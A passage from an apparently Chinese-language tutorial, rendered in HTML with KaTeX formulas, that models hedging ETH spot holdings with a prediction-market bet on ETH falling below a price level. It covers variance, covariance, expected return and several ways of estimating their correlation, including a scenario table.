style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 接近0或1时风险最小</li></ul><p><strong>实际含义</strong>：如果你认为跌破概率是30%，那么预测市场的风险就是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.7</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.21</span></span></span></span></p><h4 id="ETH现货的风险">ETH现货的风险</h4><p>ETH价格的波动直接转化为你的收益波动：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4247em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2753em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>通俗解释</strong>：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是ETH价格的标准差（绝对波动）</li><li>除以 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span> 是把绝对波动转换成收益率波动</li><li>如果ETH年波动率是100%，当前价格2000，那么收益率方差就是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2000</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord">/</span><span class="mopen">(</span><span class="mord">2000</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li></ul><h4 id="关键问题：两者如何相关？">关键问题：两者如何相关？</h4><p>这是整个模型的核心难题：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></span></p><p><strong>核心问题</strong>：ETH价格下跌时，跌破概率如何变化？</p><ul><li>如果ETH从2000跌到1900，跌破1800的概率肯定增加了</li><li>但增加多少？这个相关性有多强？</li><li><strong>这正是我们接下来要解决的最大难题</strong></li></ul><h2 id="4-期望收益：你凭什么觉得能赚钱？">4. 期望收益：你凭什么觉得能赚钱？</h2><h3 id="总期望收益">总期望收益</h3><p>投资组合的期望收益就是加权平均：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span></span></p><h3 id="拆解每部分的期望收益">拆解每部分的期望收益</h3><h4 id="预测市场的期望收益">预测市场的期望收益</h4><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span></span></p><p><strong>含义</strong>：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>：你认为的真实跌破概率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>：市场当前价格（隐含概率）</li><li><strong>只有当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 时，你才能赚钱</strong></li></ul><p><strong>例子</strong>：如果你认为跌破概率是35%，但市场价格只有25%，那么期望收益是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.35</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.25</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">10%</span></span></span></span></p><h4 id="ETH现货的期望收益">ETH现货的期望收益</h4><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>含义</strong>：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span></span></span></span>：你预期的最终ETH价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span>：当前ETH价格</li><li><strong>只有当你预期ETH上涨时，持有现货才能赚钱</strong></li></ul><h3 id="这里有个问题">这里有个问题</h3><p>组合的期望收益是：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>但这意味着什么？</strong></p><ul><li>要让预测市场赚钱，你需要预测跌破概率</li><li>要让ETH现货赚钱，你需要预测ETH价格</li><li><strong>如果你真的能预测这些，为什么还要对冲？</strong></li></ul><p>这就是我们前面提到的<strong>对冲悖论</strong>的数学体现。</p><h2 id="5-协方差估计：模型的致命弱点">5. 协方差估计：模型的致命弱点</h2><p>回到最关键的问题：如何估计 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>？</p><p>这个参数决定了对冲效果，但也是最难估计的。我们有几种方法，但<strong>每种都有严重问题</strong>。</p><h3 id="方法A：历史数据法（基本不可行）">方法A：历史数据法（基本不可行）</h3><p><strong>理论上</strong>：收集历史价格数据，计算历史上ETH价格变化与跌破事件的相关性。</p><p><strong>现实问题</strong>：</p><ul><li>预测市场历史数据稀少</li><li>市场结构不断变化</li><li>样本量不足导致估计极不稳定</li></ul><p><strong>结论</strong>：在实际应用中基本不可行（详细计算见附录）。</p><h3 id="方法B：理论近似法（数学上有趣，实际上无用）">方法B：理论近似法（数学上有趣，实际上无用）</h3><p>当ETH当前价格接近跌破线时，可以用数学近似：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4271em;vertical-align:-0.936em;"></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4247em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2753em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>问题</strong>：</p><ul><li>只在价格接近跌破线时有效</li><li>需要准确知道真实概率 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span></li><li>如果你知道 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>，为什么还要对冲？</li></ul><h3 id="方法C：情景分析法（相对实用）">方法C：情景分析法（相对实用）</h3><p><strong>基本思路</strong>：与其估计复杂的统计关系，不如直接列出几种可能的市场情景。</p><table><thead><tr><th>情景</th><th>概率</th><th>ETH价格</th><th>预测市场收益</th><th>ETH收益</th><th>备注</th></tr></thead><tbody><tr><td>大跌</td><td>15%</td><td>1600</td><td>+75%</td><td>-20%</td><td>市场恐慌</td></tr><tr><td>小跌</td><td>25%</td><td>1800</td><td>+75%</td><td>-10%</td><td>温和下跌</td></tr><tr><td>横盘</td><td>30%</td><td>2000</td><td>-25%</td><td>0%</td><td>区间震荡</td></tr><tr><td>小涨</td><td>20%</td><td>2200</td><td>-25%</td><td>+10%</td><td>温和上涨</td></tr><tr><td>大涨</td><td>10%</td><td>2600</td><td>-25%</td><td>+30%</td><td>强势突破</td></tr></tbody></table><p><strong>优点</strong>：</p><ul><li>直观易懂</li><li>可以结合你对市场的理解</li><li>不依赖历史数据</li></ul><p><strong>缺点</strong>：</p><ul><li>概率分配是主观的</li><li>情景设定可能遗漏极端情况</li><li><strong>本质上还是在做预测</strong></li></ul><h3 id="方法D：经济直觉法（最实用）">方法D：经济直觉法（最实用）</h3><p><strong>基本思路</strong>：既然精确估计不可能，那就用经济常识来做合理假设。</p><p><strong>核心直觉</strong>：ETH价格下跌时，跌破概率增加，所以两者应该是负相关的。</p><p><strong>简化假设</strong>：</p><ul><li><strong>强负相关</strong>：相关系数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.7</span></span></span></span><ul><li>适用：当前价格接近跌破线</li><li>理由：小幅下跌就容易跌破，相关性很强</li></ul></li><li><strong>中等负相关</strong>：相关系数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span 